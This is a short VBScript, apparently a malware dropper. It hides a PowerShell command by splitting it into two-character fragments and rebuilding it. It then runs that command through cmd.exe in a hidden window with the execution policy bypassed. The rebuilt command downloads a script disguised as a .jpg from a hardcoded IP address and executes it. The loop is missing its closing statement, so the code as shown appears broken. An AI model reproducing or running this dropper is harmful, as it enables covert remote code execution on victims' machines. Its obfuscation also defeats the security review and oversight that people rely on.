Dim mLZiI(92), DEAqh, i
' Define each part based on the provided order
mLZiI(0) = "[B"
mLZiI(1) = "YT"
mLZiI(2) = "e["
mLZiI(3) = "]]"
mLZiI(4) = ";$"
mLZiI(5) = "A1"
mLZiI(6) = "23"
mLZiI(7) = "='"
mLZiI(8) = "Ie"
mLZiI(9) = "X("
mLZiI(10) = "Ne"
mLZiI(11) = "W-"
mLZiI(12) = "OB"
mLZiI(13) = "Je"
mLZiI(14) = "CT"
mLZiI(15) = " N"
mLZiI(16) = "eT"
mLZiI(17) = ".W"
mLZiI(18) = "';"
mLZiI(19) = "$B"
mLZiI(20) = "45"
mLZiI(21) = "6="
mLZiI(22) = "'e"
mLZiI(23) = "BC"
mLZiI(24) = "LI"
mLZiI(25) = "eN"
mLZiI(26) = "T)"
mLZiI(27) = ".D"
mLZiI(28) = "OW"
mLZiI(29) = "NL"
mLZiI(30) = "O'"
mLZiI(31) = ";["
mLZiI(32) = "BY"
mLZiI(33) = "Te"
mLZiI(34) = "[]"
mLZiI(35) = "];"
mLZiI(36) = "$C"
mLZiI(37) = "78"
mLZiI(38) = "9="
mLZiI(39) = "'V"
mLZiI(40) = "AN"
mLZiI(41) = "('"
mLZiI(42) = "'h"
mLZiI(43) = "tt"
mLZiI(44) = "p:"
mLZiI(45) = "//"
mLZiI(46) = "51"
mLZiI(47) = ".2"
mLZiI(48) = "54"
mLZiI(49) = ".4"
mLZiI(50) = "9."
mLZiI(51) = "49"
mLZiI(52) = ":2"
mLZiI(53) = "22"
mLZiI(54) = "/n"
mLZiI(55) = "ew"
mLZiI(56) = "/c"
mLZiI(57) = "od"
mLZiI(58) = "er"
mLZiI(59) = ".j"
mLZiI(60) = "pg"
mLZiI(61) = "''"
mLZiI(62) = ")'"
mLZiI(63) = ".R"
mLZiI(64) = "eP"
mLZiI(65) = "LA"
mLZiI(66) = "Ce"
mLZiI(67) = "('"
mLZiI(68) = "VA"
mLZiI(69) = "N'"
mLZiI(70) = ",'"
mLZiI(71) = "AD"
mLZiI(72) = "ST"
mLZiI(73) = "RI"
mLZiI(74) = "NG"
mLZiI(75) = "')"
mLZiI(76) = ";["
mLZiI(77) = "BY"
mLZiI(78) = "Te"
mLZiI(79) = "[]"
mLZiI(80) = "];"
mLZiI(81) = "Ie"
mLZiI(82) = "X("
mLZiI(83) = "$A"
mLZiI(84) = "12"
mLZiI(85) = "3+"
mLZiI(86) = "$B"
mLZiI(87) = "45"
mLZiI(88) = "6+"
mLZiI(89) = "$C"
mLZiI(90) = "78"
mLZiI(91) = "9)"
' Combine the parts into one string
DEAqh = ""
For i = 0 To 92 - 1
DEAqh = DEAqh & mLZiI(i)
' Use the combinedParts in the shell execution
Set objShell = CreateObject("WScript.Shell")
objShell.Run "Cmd.exe /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI " & DEAqh, 0, True
Set objShell = Nothing